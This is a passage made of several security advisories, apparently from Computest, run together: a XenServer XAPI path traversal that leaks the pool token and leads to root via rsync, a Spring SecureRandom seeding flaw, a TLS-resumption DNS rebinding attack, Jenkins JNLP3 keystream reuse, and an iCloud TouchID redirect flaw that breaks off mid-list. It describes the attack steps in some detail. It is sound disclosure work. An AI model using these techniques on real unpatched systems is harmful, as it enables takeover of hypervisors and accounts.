(* checked inside them, such as in the XMLRPC (API) calls *)
let public_http_actions_with_no_rbac_check =
  [
    "post_root"; (* XMLRPC (API) calls -> checks RBAC internally *)
    "post_cli";  (* CLI commands -> calls XMLRPC *)
    "post_json"; (* JSON -> calls XMLRPC *)
    "get_root";  (* Make sure that downloads, personal web pages etc do not go through RBAC asking for a password or session_id *)
    (* also, without this line, quicktest_http.ml fails on non_resource_cmd and bad_resource_cmd with a 401 instead of 404 *)
    "get_blob"; (* Public blobs don't need authentication *)
    "post_root_options"; (* Preflight-requests are not RBAC checked *)
    "post_json_options";
    "post_jsonrpc";
    "post_jsonrpc_options";
    "get_pool_update_download";
]

Authentication is performed in the function assert_credentials_ok, in the file /ocaml/xapi/xapi_http.ml. Some things to note about this function:

• Besides username and password or an existing session_id, access can be granted by passing the pool_token parameter. This is a static token shared by all nodes in the pool, and is stored at /etc/xensource/ptoken. This token grants full administrative privileges.

• Adminstrative access is granted for connections over a local UNIX socket.

This means that any vulnerability that can perform an arbitrary file read or access an internal socket will enable full administrative access.

Finding the primary vulnerability

Since there are not too many endpoints that bypass authentication, it makes sense to quickly skim over each one to see if there is anything interesting.

The mapping from HTTP verb (GET, POST, …) and URL to action name is located in the files under /ocaml/idl/datamodel*.m, and the mapping from action name to handler function happens in various calls to the add_handler function we already saw. We use this to find that, for example, the action get_pool_update_download is associated with a GET request to the /update/ URL, and is dispatched to the pool_update_download_handler function:

let pool_update_download_handler (req: Request.t) s _ =
  debug "pool_update.pool_update_download_handler URL %s" req.Request.uri;
  (* remove any dodgy use of "." or ".." NB we don't prevent the use of symlinks *)
  let filepath = String.sub_to_end req.Request.uri (String.length Constants.get_pool_update_download_uri)
                 |> Filename.concat Xapi_globs.host_update_dir
                 |> Stdext.Unixext.resolve_dot_and_dotdot 
                 |> Uri.pct_decode  in
  debug "pool_update.pool_update_download_handler %s" filepath;

  if not(String.startswith Xapi_globs.host_update_dir filepath) || not (Sys.file_exists filepath) then begin
    debug "Rejecting request for file: %s (outside of or not existed in directory %s)" filepath Xapi_globs.host_update_dir;
    Http_svr.response_forbidden ~req s
  end else begin
    Http_svr.response_file s filepath;
    req.Request.close <- true
end

This immediately looks extremely suspicious, in particular these two lines:

|> Stdext.Unixext.resolve_dot_and_dotdot
|> Uri.pct_decode  in

Here, the code is first resolving any ../ sequences, and after that it will perform decoding of urlencoding sequences such as %25. (In OCaml, the |> operator behaves somewhat like the | (pipe) operator in unix shell scripts.)

This means that if the decoding produces new ../ sequences, they will not be resolved and the naive check below it to verify that the produced path is under the update root directory is no longer sufficient.

In short, this leads to a classic path traversal vulnerability where %2e%2e%2f sequences can be used to escape the parent directory and read arbitrary files, including the file containing the pool token.

As described earlier, possession of the pool token enables full administrative access to the hypervisor.

Some notes about a potential alternative to the DNS rebinding attack

One other thing to note is that the response does not set a HTTP Content-Type header, which might make it possible for attackers to exploit a XAPI service on an internal network from the internet if they can trick someone on the internal network into visiting a malicious site (a scenario similar to the previously described DNS rebinding attack).

In this attack the malicious site would first perform a request that contains HTML and JavaScript in the URL, causing these to be written to a log file. In a second request, that logfile would then be loaded as a HTML page. The JavaScript on that page would then be able to read and exfiltrate the pool token and/or perform further requests using the pool token, something JavaScript on a random website on the internet would not normally be able to do because of the single origin policy enforced by web browsers.

This attack is overall much less practical than the DNS rebinding attack, and we have not investigated it further. The only advantage this attack has is that it could still work even if the XAPI was only available over HTTPS (DNS rebinding is in general not possible over HTTPS because the hostname will be validated by the TLS connection setup even if the HTTP server itself does not).

Obtaining a root shell on Dom0

While the pool token is sufficient to perform most actions on the hypervisor, an attacker is still restricted by the operations that the XAPI supports.

To determine the full impact we investigated whether it was possible to obtain full remote shell access as the operating system “root” user with this pool token. If so, it makes the impact story a good deal simpler: remote shell access as root means complete control, period.

As it turns out, it is possible to abuse the /remotecmd endpoint for this. The code for this endpoint is located in /ocaml/xapi/xapi_remotecmd.ml:

let allowed_cmds = ["rsync","/usr/bin/rsync"]

(* Handle URIs of the form: vmuuid:port *)
let handler (req: Http.Request.t) s _ =
  let q = req.Http.Request.query in
  debug "remotecmd handler running";
  Xapi_http.with_context "Remote command" req s
    (fun __context ->
       let session_id = Context.get_session_id __context in
       if not (Db.Session.get_pool ~__context ~self:session_id) then
         begin
           failwith "Not a pool session"
         end;
       let cmd=List.assoc "cmd" q in
       let cmd=List.assoc cmd allowed_cmds in
       let args = List.map snd (List.filter (fun (x,y) -> x="arg") q) in
       do_cmd s cmd args
    )

This appears to restrict the command to be executed to only rsync, but since rsync supports the -e option that lets you execute arbitrary shell commands anyway this restriction is not actually effective. Its unclear whether this constitutes a separate vulnerability, since there are plenty of other ways to abuse rsync to gain remote shell access (overwriting various config files or shellscripts, for example.)

This endpoint and the associated ability to execute shell commands is only available to ‘pool sessions’ (i.e. administrative sessions started by other nodes in the same pool), but because we have stolen the pool token we can produce such a session just by passing the stolen token in the right parameter.

Even though a complete exploit is deliberately not provided here, the core vulnerability is simple enough that an attacker will be able to exploit it with a minimum of effort.

Mitigating factors

Computest recommends verifying that none of the IPs assigned to the Dom0 are reachable from less-trusted networks (including the virtual networks assigned to the hosted virtual machines). While this is a best practice, it should not be considered a complete fix for this issue (especially considering the DNS rebinding concerns, which might provide an alternative route of attack).

Xen has noted that some versions of XenServer do not immediately create the /var/update directory on installation. Since the vulnerability can only be exploited when this directory exists, those versions will not be vulnerable directly after installation but will become vulnerable when installing their first update.

It is possible to prevent exploitation of this issue by moving the /var/update directory elsewhere and creating a file named /var/update to prevent the automatic creation of this directory. This will prevent the update functionality from working and may have further negative impact. It is not recommended by us, by Citrix, or by the Xen project, and we take no responsibility for problems caused by doing this.

Resolution

Xen has released a patch for the primary XAPI vulnerability under XSA-271 and has incorporated the fix in future XAPI versions.

Citrix will shortly publish or has published updates for supported XenServer releases 7.1 LTSR, 7.4 CR and 7.5 CR. Notably, no update will be published for version 7.3, which is out of support since June.

If you use either of these products you are advised to upgrade immediately.

Various cloud providers and other members of the Xen security pre-release list have received information about this vulnerability before the public release according to Xen’s usual policy (see also the timeline at the bottom of this document). If they were using XAPI they were able to apply the fix early.

If there is a risk that credentials stored on the dom0 or any of the VMs hosted by the hypervisor may have been compromised they should be changed.

There was previously no documented way of rotating the pool token, so Xen has provided the following steps to change it if deemed necessary.

1. On all pool members, stop Xapi:

   service xapi stop
   

2. On the pool master:

   rm /etc/xensource/ptoken
   /opt/xensource/libexec/genptoken -f -o /etc/xensource/ptoken
   

3. Copy /etc/xensource/ptoken to all pool slaves

4. On the pool master, restart the toolstack:

   xe-toolstack-restart
   

5. On all pool slaves, restart the toolstack:

   xe-toolstack-restart
   

Note that rotating credentials (including the pool token) is not sufficient to lock out an attacker who has already established an alternative means of control. The above steps are only intended as a possible extra layer of assurance when there is already reasonable confidence that no attack happened, or possibly as part of making a “known good” backup from before an attack safe for use.

Conclusion

Xen and Citrix have responded quickly to patch the issue. However, older versions of XenServer remain without a patch, and upgrading XenServer may not be easy for some users because some features are no longer supported in the free version distributed by Citrix.

In response to the miscellaneous concerns raised in this document Xen has documented a new procedure to change the pool token if desired, but we have had no clear indication of whether other things such as the DNS rebinding aspect will be addressed in the future.

The unexpected discovery of this vulnerability during a basic software quality review shows once again that it’s more than worth it to spend some extra time during network design to lock down and segregate management services. Especially since the consequences of bugs in such basic infrastructure can be disastrous and patching is often complicated.

In our opinion the XAPI service does not take a very principled approach in its HTTP and authentication layers, which provided room for this bug and some of the other things we mentioned when investigating the impact of this vulnerability.

Timeline

2018-07-04 Disclosure of our draft to Xen and Citrix security teams
2018-07-05 First response from the Xen security team, XSA-271 assigned
2018-07-05 First response from the Citrix security team
2018-07-17 Xen proposes embargo date of 2017-08-14
2018-07-20 Agreed to set embargo date at 2018-08-14
2018-07-30 Received draft of Xen’s advisory
2018-07-31 Xen sends its advisory to its pre-release partners
2018-08-14 Public release of advisories

The SecureRandomFactoryBean class in Spring Security by Pivotal has a vulnerability in certain versions that could lead to the generation of predictable random values when a custom seed is supplied. This contradicted the documentation that states that adding a custom seed does not decrease the entropy. The cause of this bug is the use of the Java SecureRandom API in an incorrect way. This vulnerability could lead to predictable keys or tokens in applications that depend on cryptographically-secure randomness. This vulnerability was fixed by Pivotal by ensuring that the proper seeding always takes place.

Applications that use this class may need to evaluate if any predictable tokens were generated that should be revoked.

Technical Background

The SecureRandom class in Java offers a cryptographically secure pseudo-random number generator. It is often the best method in Java for generating keys, tokens or nonces for which unpredictability is critical. When using this class multiple algorithms may be available. An explicit algorithm can be selected by calling (for example) SecureRandom.getInstance("SHA1PRNG"). The seeding of an instance generated this way happens as soon as the first bytes are requested, not during creation.

Normally, when calling setSeed() on a SecureRandom instance the seed is incorporated into the state, to supplement its randomness. However, when calling setSeed() on a instance newly created with an explicit algorithm there is no state yet, therefore the seed will set the entire state and no other entropy is used.

This is mentioned in the documentation for SecureRandom.getInstance():

https://docs.oracle.com/javase/7/docs/api/java/security/SecureRandom.html

The returned SecureRandom object has not been seeded. To seed the returned
object, call the setSeed method. If setSeed is not called, the first call to
nextBytes will force the SecureRandom object to seed itself. This self-
seeding will not occur if setSeed was previously called.

This text is misleading, as the first two sentences may give the impression that the instance could be unsafe to use without seeding, while the self-seeding will in fact be much safer than supplying the seed for almost all applications.

This is a well known flaw in the design that can lead to incorrect use that has been discussed before:

https://stackoverflow.com/a/27301156

You should never call setSeed before retrieving data from the "SHA1PRNG" in
the SUN provider as that will make your RNG (Random Number Generator) into a
Deterministic RNG - it will only use the given seed instead of adding the
seed to the state. In other words, it will always generate the same stream
of pseudo random bits or values.

Google noticed that on Android some apps depend on this unexpected usage, which made it difficult to change the behaviour.

https://android-developers.googleblog.com/2016/06/security-crypto-provider-deprecated-in.html

A common but incorrect usage of this provider was to derive keys for
encryption by using a password as a seed. The implementation of SHA1PRNG had
a bug that made it deterministic if setSeed() was called before obtaining
output.

Vulnerability

The SecureRandomFactoryBean class in spring-security returns a SecureRandom object with SHA1PRNG as explicit provider. It is optionally possible to set a Resource as a seed:

security/core/token/SecureRandomFactoryBean.java#L37-L52

public SecureRandom getObject() throws Exception {
    SecureRandom rnd = SecureRandom.getInstance(algorithm);

    if (seed != null) {
        // Seed specified, so use it
        byte[] seedBytes = FileCopyUtils.copyToByteArray(seed.getInputStream());
        rnd.setSeed(seedBytes);
    }
    else {
        // Request the next bytes, thus eagerly incurring the expense of default
        // seeding
        rnd.nextBytes(new byte[1]);
    }

    return rnd;
}

The documentation of SecureRandomFactoryBean.setSeed() states (contradictory to the documentation of SecureRandom itself):

Allows the user to specify a resource which will act as a seed for the
SecureRandom instance. Specifically, the resource will be read into an
InputStream and those bytes presented to the SecureRandom.setSeed(byte[])
method. Note that this will simply supplement, rather than replace, the
existing seed. As such, it is always safe to set a seed using this method
(it never reduces randomness).

When used with a seed this means that a SecureRandom instance is generated in the vulnerable way as described above. In other words, the Resource entirely determines all output of this PRNG. If two different objects are created with the same seed then they will return identical output. The note in the documentation stating that it supplements the seed and can not reduce randomness was therefore false.

Recommendation

The easiest way to prevent this vulnerability would be to request the first byte even if a seed is set, before calling setSeed():

SecureRandom rnd = SecureRandom.getInstance(algorithm);

// Request the first byte, thus eagerly incurring the expense of default
// seeding and to prevent the seed from replacing the entire state.
rnd.nextBytes(new byte[1]);

if (seed != null) {
    // Seed specified, so use it
    byte[] seedBytes = FileCopyUtils.copyToByteArray(seed.getInputStream());
    rnd.setSeed(seedBytes);
}

This, however, requires that no application depends on the current possibility of using SecureRandom fully deterministically.

Mitigation

Applications that use SecureRandomFactoryBean with a vulnerable version of Spring Security can mitigate this issue by not providing a seed with setSeed() or ensuring that the seed itself has sufficient entropy.

Conclusion

Pivotal responded quickly and fixed the issue in the recommended way in Spring Security. However, depending on the applications that use this library, keys or tokens which were generated using insufficient randomness may still exist and be in use. Applications that use SecureRandomFactoryBean should investigate if this may be the case and if any keys or tokens need to be revoked.

Applications that rely on using SecureRandomFactoryBean to generate deterministic sequences will no longer work and should switch to a proper key-derivation function.

Timeline

2019-03-08 Report sent to [email protected].
2019-03-09 Reply from Pivotal that they confirmed the issue and are working on a fix.
2019-03-18 Fixed by Pivotal in revision 9c1eac79e2abb50f7b01e77c2418566f2a30532f.
2019-04-02 Vulnerability report published by Pivotal.
2019-04-03 Spring Security 5.1.5, 5.0.12, 4.2.12 released with the fix.
2019-07-04 Advisory published by Computest.

A DNS rebinding attack is possible against a server that uses HTTPS by abusing TLS session resumption in a specific way.

In addition, the implementation of the Extended Master Secret extension in SChannel contained a vulnerability that made it ineffective.

Technical background

A DNS rebinding attack works as follows: an attacker A waits for a user C to visit the attacker’s website, say attacker.example. The DNS record for attacker.example initially points to an IP address of the attacker with a low TTL. Once the page is loaded, JavaScript repeatedly attempts to communicate back to attacker.example using the XMLHttpRequest API. As this is in the same origin, the attacker can influence almost everything about the request and can read almost every part of the response.

The attacker then updates this DNS record to point to a different server (not owned by A) instead. This means that the requests intended for attacker.example end up at a different server after the record expires, say, server.example owned by S. If this server does not check the HTTP Host header of the request, then it may accept and process it.

The proper way to prevent this attack is to ensure that web servers verify that the Host header on every request matches a host that is in use by that server. Another workaround that is commonly recommended is to use HTTPS, as the attack as described does not work with HTTPS: when the DNS record is updated and C connects to server.example, C will notice that the server does not present a valid certificate for attacker.example, therefore the connection will be aborted.

The most interesting scenarios for this attack involve attacking a device on the network (or even on the local machine) of C. This is due to a number of reasons, one of which is the problems with HTTPS.

Attack

It is possible to perform a DNS rebinding attack to a HTTPS server by abusing TLS session resumption in a specific way. Contrary to the “normal” DNS rebinding attack, A needs to be able to communicate with S to establish a session that C will later resume. This attack is similar to the Triple-Handshake Attack 3SHAKE, however, the measures that were taken by TLS implementations in response to that attack do not adequately defend against this attack.

Just like in the 3SHAKE attack, A can set up two connections C -> A and A -> S that have the same encryption keys and then pass the session ID or session ticket from S on to C. This is known as an “Unknown Key-Share Attack”. Contrary to the 3SHAKE attack, however, A can update the DNS record for attacker.example before the session is resumed. TLS resumption does not re-transmit the certificate of the server, both endpoints will assume that the certificate is still the same as for the previous connection. Therefore, when C resumes the connection at S, C assumes it has an encrypted connection authenticated by attacker.example, while S assumes it has sent the certificate for server.example on this connection.

To any web applications running on S, the connection will appear to be originating from C’s IP address. If the website on server.example has functionality that is IP restricted to only be available to C, then A will be able to interact with this functionality on behalf of C.

In more detail:

1. C opens a connection to A, using client random r1 in the ClientHello message.

2. A opens a connection to S, using the same client random r1. A advertises only the ciphers C included that use RSA key exchange and A does not advertise the “extended master secret” TLS extension.

3. S replies to A with server random r2 and session ID s in the ServerHello message.

4. A replies to C with server random r2 and session ID s and the same cipher suite as chosen for the other connection, but A’s own certificate. A makes sure that the extended master secret extension is not enabled here either.

5. C sends an encrypted pre-master secret to A. A decrypts this value using the private RSA key corresponding to A’s certificate to obtain its value, p.

6. A also sends p in a ClientKeyExchange to S, now encrypted with the public key of S.

7. Both connections finish. The master secret for both is derived only from r1, r2 and p. Therefore, they are identical. A knows this master secret, so it can cleanly finish both handshakes and exchange data on both connections.

8. A sends a page containing JavaScript to C.

9. A updates the DNS record for attacker.example to point to S’s IP address instead.

10. A closes the connections with C and S.

11. Due to an XHR request from A’s JavaScript, C will reconnect. It receives the new DNS record, therefore it resumes the connection at S, which will work as it recognises the session ID and the keys match. As it is a resumption, the certificate message is skipped.

12. JavaScript from A can now send HTTP requests to S within the origin of attacker.example.

Cipher selection

A can force the use of a specific cipher suite on the first two connections, assuming both C and S support it. It can indicate support for only the desired cipher suite(s) on the connection A -> S and then select the same cipher suite on the C -> A connection.

When a session is resumed, the same cipher suite is used as the original connection did. Because A removed certain cipher suites, the ClientHello that is used for resumption will most certainly indicate stronger ciphers than the cipher the original connection had. A server could detect this and then decide to perform a full handshake instead, because this way a stronger cipher suite would be used. It appears that few servers actually do this.

Extended master secret

In response to the 3SHAKE attack, the extended master secret (EMS) extension was added to TLS in RFC 7627. This extension appears to be implemented by most browsers, however, support on servers is still limited. This extension would make the Unknown Key-Share attack impossible, as the full contents of the initial handshake messages (including the certificates) are included in the master secret computation, not just the random values.

The attack is impossible if both client and server support EMS and enforce its usage. However, as server support is limited (browser) clients currently do not require it.

When the extension is not required but supported by both the client and the server, it could be used to detect the above attack and refuse resumption (making the attack impossible as well). If the server receives a ClientHello that indicates support for EMS and which attempts to resume a session that did not use EMS, it must refuse to resume it and perform a full handshake instead.

This is described in RFC 7627 as follows:

 o  If the original session did not use the "extended_master_secret"
    extension but the new ClientHello contains the extension, then the
    server MUST NOT perform the abbreviated handshake.  Instead, it
    SHOULD continue with a full handshake (as described in
    Section 5.2) to negotiate a new session.

This is, however, not universally followed by servers. Most notably, we found that IIS indicates support for EMS in the full-handshake ServerHello, but when a ClientHello is received that indicates support for EMS that requests to resume a session that did not use EMS, IIS allows it to be resumed. We also found that servers hosted by the Fastly CDN were vulnerable in the same way.

The attack also works when the server does not support EMS, but the client does. The Interoperability Considerations in §5.4 of RFC 7627 only say the following about that:

 If a client or server chooses to continue an abbreviated handshake to
 resume a session that does not use the extended master secret, then
 the current connection becomes vulnerable to a man-in-the-middle
 handshake log synchronisation attack as described in Section 1.
 Hence, the client or server MUST NOT use the current handshake's
 "verify_data" for application-level authentication.  In particular,
 the client MUST disable renegotiation and any use of the "tls-unique"
 channel binding [RFC5929] on the current connection.

This section only highlights risks for renegotiation and channel binding on this connection. The ability to perform a DNS rebinding attack does not seem to have been considered here. To address that risk, the only option is to not resume connections for which EMS was not used and for which the remote IP address has changed.

Other configurations

The sequence of handshake messages is different when session tickets are used instead of ID-based resumption, but the attack still works in pretty much the same way.

While the example above used the RSA key exchange, as noted by the 3SHAKE attack the DHE or ECDHE key exchanges are also affected if the client accepts arbitrary DHE groups or ECDHE curves and does not verify that these are secure. Support for DHE is removed in all common browsers (except Firefox) and arbitrary ECDHE curves appears to never have been supported in browsers. When using Curve25519, certain “non-contributory” points can be used to force a specific shared secret. The TLS implementations we looked at correctly reject those points.

TLS 1.3 is not affected, as in that version the EMS extension is incorporated into the design.

SNI also influences the process. On the initial connection, the attacker can pick the name that is indicated for SNI. While a large portion of webservers is configured to reject unknown Host headers, almost no HTTPS servers were found that reject the handshake when an unknown SNI name is received, servers most often reply with a certain “default” certificate. We found that some servers require the SNI name for a resumption to be equal to the SNI name for the original connection. If this is not the case then it may be possible to change the selected virtual host based on the SNI name of the first connection, though we did not find a server configured like this in practice.

It may also be possible for A to send a client certificate to S on the first connection, and then attribute the messages sent after the resumption to A’s identity. We did not find a concrete attack that would be possible using this, but for other protocols that rely on TLS it may be an issue.

The attack as described relies on A updating their DNS record. Even with a minimal TTL, this may require a long time for all caches to obtain the updated record. This is not required for the attack: A can include two IP addresses in the in the A/AAAA record, the first being A’s own address, the second the address of the victim. Once A has delivered the JavaScript and session ID/ticket, A can reject connections from the user (by sending a TCP RST response), which means the browser will fall back to the second IP address, therefore connecting to S instead.

Exploitation

We wrote a tool to accept TLS connections and perform the attack by establishing a connection to a remote server with the same master secret and forwarding the session ID. By subsequently refusing connections, it was possible to cause browsers to resume its session at the remote server instead.

We have performed this attack successfully against the following browsers:

• Safari 12.1.1 on macOS 10.14.5.
• Chrome 74.0.3729.169 on macOS 10.14.5.
• Safari on iOS 12.3.
• Microsoft Edge 44.17763.1.0 on Windows 10.
• Chrome 74.0.3729.169 on Windows 10.
• Internet Explorer 11 on Windows 7.
• Chrome 74.0.3729.61 on Android 10.

As mentioned, we also found the following server vulnerable to allowing a resumption of a non-EMS connection using an EMS ClientHello:

• IIS 10.0.17763.1 on Windows 10.

Firefox is (currently) not vulnerable, as its TLS session storage separates sessions by remote IP address and will not attempt to resume if the IP address has changed. (https://bugzilla.mozilla.org/show_bug.cgi?id=415196)

Impact

To summarise, this vulnerability can be used by an attacker to bypass IP restrictions on a web application, provided that the web server:

• supports TLS session resumption;
• does not support the EMS TLS extension (or does not enforce it, like IIS);
• can be connected to by an attacker;
• does not verify the Host header on requests or the targeted web application is the fallback virtual host;
• has functionality that is restricted based on IP address.

As it cannot be determined automatically whether a website has functionality that is IP restricted, we could not determine the exact scale of vulnerable websites. Based on a scan of the top 1M most popular websites, we estimate that about 30% of webservers fulfil the first 2 requirements.

Resolution

Chrome 77 will not allow TLS sessions to be resumed if the RSA key exchange is used and the remote IP address has changed.

SChannel (IE/Edge) in update KB4520003 will not allow TLS sessions to be resumed if EMS was not used and the implementation of EMS on the server was fixed to not allow non-EMS sessions to be resumed using an EMS-handshake.

Safari in macOS Catalina (10.15) will not allow TLS sessions to be resumed if the remote IP address has changed.

Fastly has fixed their TLS implementation to also not allow non-EMS sessions to be resumed using an EMS-handshake.

Due to these changes, servers may notice a decrease in the percentage of sessions that are successfully resumed. In order to maximise the chance of successful resumption, servers should make sure that:

• Cipher suites using RSA key exchange are only used if ECDHE is not supported by the client.
• The Extended Master Secret extension is supported and enabled by the server.
• Clients connect to the same server IP address as much as possible, for example by ensuring the TTL of DNS responses is high if multiple IP addresses are used.

When using TLS 1.3, the RSA key exchange is no longer allowed and Extended Master Secret has become part of the design instead of an extension. Therefore, the first two recommendations are no longer needed.

Timeline

2019-06-03 Report sent to Google, Apple, Microsoft.
2019-07-01 Fix committed for Chromium.
2019-07-15 EMS problem reported to Fastly.
2019-07-30 Fix by Fastly deployed and confirmed.
2019-09-11 Chrome 77 released with the fix.
2019-10-07 macOS Catalina released with the fix.
2019-10-08 Update KB4520003 released by Microsoft with the fix.

During a short review of the Jenkins source code, we found a vulnerability that can be used to bypass the mutual authentication when using the JNLP3 remoting protocol. In particular, this allows anyone to impersonate a client and thereby gain access to the information and functionality that should only be available to that client.

Technical Background

Jenkins supports 4 different versions of the remoting protocol. 1 and 2 are unencrypted, 3 uses a custom handshake protocol and 4 is secured using TLS. The vulnerability exists only in version 3.

1, 2 and 3 are deprecated and warnings are shown when they are enabled. However, these warnings and the documentation only mention stability impact, no security impact, such as a lack of authentication.

As described in the documentation in the code, the JNLP3 handshake works as follows:

src/main/java/org/jenkinsci/remoting/engine/JnlpProtocol3Handler.java#L80-L110

Client                                                                Master
          handshake ciphers = createFrom(agent name, agent secret)
 
  |                                                                     |
  |      initiate(agent name, encrypt(challenge), encrypt(cookie))      |
  |  -------------------------------------------------------------->>>  |
  |                                                                     |
  |                       encrypt(hash(challenge))                      |
  |  <<<--------------------------------------------------------------  |
  |                                                                     |
  |                          GREETING_SUCCESS                           |
  |  -------------------------------------------------------------->>>  |
  |                                                                     |
  |                         encrypt(challenge)                          |
  |  <<<--------------------------------------------------------------  |
  |                                                                     |
  |                       encrypt(hash(challenge))                      |
  |  -------------------------------------------------------------->>>  |
  |                                                                     |
  |                          GREETING_SUCCESS                           |
  |  <<<--------------------------------------------------------------  |
  |                                                                     |
  |                          encrypt(cookie)                            |
  |  <<<--------------------------------------------------------------  |
  |                                                                     |
  |                  encrypt(AES key) + encrypt(IvSpec)                 |
  |  -------------------------------------------------------------->>>  |
  |                                                                     |
 
             channel ciphers = createFrom(AES key, IvSpec)
          channel = channelBuilder.createWith(channel ciphers)

The encrypt function in this diagram uses keys that are derived from the client name and client secret. The exact procedure createFrom is not important for this issue, just that the keys only depend on the client name and secret and are therefore constant for all connections between that client and the master:

src/main/java/org/jenkinsci/remoting/engine/HandshakeCiphers.java#L108-L123

The encryption algorithm used is AES/CTR/PKCS5Padding:

src/main/java/org/jenkinsci/remoting/engine/HandshakeCiphers.java#L135

Vulnerability

As is commonly known, CTR mode must never be reused with the same keys and counter (IV): the encrypted value is generated by bytewise XORing a keystream with the plaintext data. When two different messages are encrypted using the same key and counter, the XOR of the two ciphertexts gives the XOR of the plaintexts as the keystream is canceled out. If one plaintext is known, this makes it possible to determine the keystream and the data in the second plaintext.

Each call to encrypt in the diagram above restarts the cipher, therefore, even when performing the handshake just once the keystream is reused multiple times.

Knowing the first ~2080 bytes of the AES-CTR keystream is enough to impersonate a client: the client needs to be able decrypt the server’s challenge, which is around 2080 bytes. All other packets are smaller than that.

Exploitation

There are a number of ways to trick the server into encrypting a known plaintext, which allows an attacker to recover a part of the keystream, which can then be used to decrypt other packets. We describe a relatively efficient approach below, but many different (possibly more efficient) approaches are likely to exist.

The client can send an initiate packet with the challenge as an empty string. This means that the response from the server will always be the encryption of the SHA-256 hash of the empty string. This allows the attacker to decrypt the initial bytes of the keystream.

Then, the attacker can obtain the rest of the keystream byte by byte in the following way: The attacker encrypts a message that is exactly as long as the keystream the attacker currently knows and appends one extra byte. The server will respond with one of 256 possible hashes, depending on how the extra byte was decrypted by the server. The attacker can decrypt the hash (because a large enough prefix is already known from the previous step) and determine which byte the server had used, which can be XORed with the ciphertext byte to obtain the next keystream byte.

There is one complication to this approach: in many places in the handshake binary data is for some unknown reason interpreted as ISO-8859-1 and converted to UTF8 or vice versa. This means that when the decrypted challenge ends in a character that is a partial UTF-8 multibyte sequence, the character is ignored. In that case, it is not possible to determine which character the server had decrypted. By trying at most 3 different bytes, it is possible to find one that is valid.

We have developed a proof-of-concept of this attack. Using this, we were able to retrieve enough bytes of the keystream to pass authentication with about 3000 connections to Jenkins, which took around 5 minutes against a local server. As mentioned, it is likely that this can be reduced even further.

It is also possible to perform a similar attack to impersonate a master against a client if the connection can be intercepted and the client automatically reconnects. We did not spend time performing this.

Recommendation

It is not possible to prevent this attack in a way that is backwards compatible with existing JNLP3 clients and masters. Therefore, we recommend removing support for JNLP3 completely. Arguably, JNLP1 and JNLP2 protocols are safer to use as those can only be taken over if a connection is intercepted. A safer encrypted alternative already exists (JNLP4), so investing time in fixing this protocol would not be needed.

Resolution

We reported the issue to the Jenkins team, who coincidentally were already considering removing support for the version 1, 2 and 3 remoting protocols as they are deprecated and were known to have stability impact. These protocols have now been removed in Jenkins 2.219. In version 2.204.2 of the LTS releases of Jenkins, this protocol can still be enabled by setting a configuration flag, but this is strongly discouraged.

Users using an older version of Jenkins can mitigate this issue by not enabling version 3 of the remoting protocol.

Timeline

2019-12-06 Issue reported to Jenkins as SECURITY-1682.
2019-12-06 Issue acknowledged by the Jenkins team.
2020-01-16 Fix prepared.
2020-01-29 Advisory published by Jenkins
2020-01-30 This advisory published by Computest.

A couple of weeks ago we found a vulnerability that could be used to gain unauthorized access to an iCloud account, by abusing a new feature allowing TouchID to log in to websites.

In iOS 13 and macOS 10.15, Apple added the possibility to sign in on Apple’s own sites using TouchID/FaceID in Safari on devices which include the required biometric hardware.

When you visit any page with a login form for an Apple-account, a prompt is shown to authenticate using TouchID instead. If you authenticate, you’re immediately logged in. This skips the 2-factor authentication step you would normally need to perform when logging in with your password. This makes sense because the process can be considered to already require two factors: your biometrics and the device. You can cancel the prompt to log in normally, for example if you want to use a different AppleID than the one signed in on the phone.

We expect that the primary use-case of this feature is not for signing in on iCloud (as it is pretty rare to use icloud.com in Safari on a phone), but we expect that the main motivator was for “Sign in with Apple” on the web, for which this feature works as well. For those sites additional options are shown when creating a new account, for example whether to hide your email address.

Although all of this works in both macOS and iOS, with TouchID and FaceID and for all sites using AppleID logins, we’ll use iOS, TouchID and https://icloud.com to explain the vulnerability, but keep in mind that the impact is more broad.

Logging in on Apple domains happens using OAuth2. On https://icloud.com, this uses the web_message mode. This works as follows when doing a normal login:

1. https://icloud.com embeds an iframe pointing to https://idmsa.apple.com/appleauth/auth/authorize/signin?client_id=d39ba9916b7251055b22c7f910e2ea796ee65e98b2ddecea8f5dde8d9d1a815d &redirect_uri=https%3A%2F%2Fwww.icloud.com&response_mode=web_message &response_type=code.
2. The user logs in (including steps such as entering a 2FA-token) inside the iframe.
3. If the authentication succeeds, the iframe posts a message back to the parent window with a grant_code for the user using window.parent.postMessage(<token>, "https://icloud.com") in JavaScript.
4. The grant_code is used by the icloud.com page to continue the login process.

Two of the parameters are very important in the iframe URL: the client_id and redirect_uri. The idmsa.apple.com server keeps track of a list of registered clients and the redirect URIs that are allowed for each client. In the case of the web_message flow, the redirect URI is not used as a real redirect, but instead it is used as the required page origin of the posted message with the grant code (the second argument for postMessage).

For all OAuth2 modes, it is very important that the authentication server validates the redirect URI correctly. If it does not do that, then the user’s grant_code could be sent to a malicious webpage instead. When logging in on the website, idmsa.apple.com performs that check correctly: changing the redirect_uri to anything else results in an error page.

When the user authenticates using TouchID, the iframe is handled differently, but the outer page remains the same. When Safari detects a new page with a URL matching the example URL above, it does not download the page, but it invokes the process AKAppSSOExtension instead. This process communicates with the AuthKit daemon (akd) to handle the biometric authentication and to retrieve a grant_code. If the user successfully authenticates then Safari injects a fake response to the pending iframe request which posts the message back, in the same way that the normal page would do if the authentication had succeeded. akd communicates with an API on gsa.apple.com, to which it sends the details of the request and from which it receives a grant_code.

What we found was that the gsa.apple.com API had a bug: even though the client_id and redirect_uri were included in the data submitted to it by akd, it did not check that the redirect URI matches the client ID. Instead, there was only a whitelist applied by AKAppSSOExtension on the domains. All domains ending with apple.com, icloud.com and icloud.com.cn were allowed. That may sound secure enough, but keep in mind that apple.com has hundreds (if not thousands) of subdomains. If any of these subdomains can somehow be tricked into running malicious JavaScript then they could be used to trigger the prompt for a login with the iCloud client_id, allowing that script to retrieve the user’s grant code if they authenticate. Then the page can send it back to an attacker which can use it to obtain a session on icloud.com.

Some examples of how that could happen:

• A cross-site scripting vulnerability on any subdomain. These are found quite regularly, https://support.apple.com/en-us/HT201536 lists at least 30 candidates from 2019, and that just covers the domains that are important enough to investigate.
• A dangling subdomain that can be taken over by an attacker. While we are not aware of any instances of this happening to Apple, recently someone found 670 subdomains of microsoft.com available for takeover: https://nakedsecurity.sophos.com/2020/03/06/researcher-finds-670-microsoft-subdomains-vulnerable-to-takeover/
• A user visiting a page on any subdomain over HTTP. The important subdomains will have a HSTS header, but many will not. The domain apple.com is not HSTS preloaded with includeSubdomains.

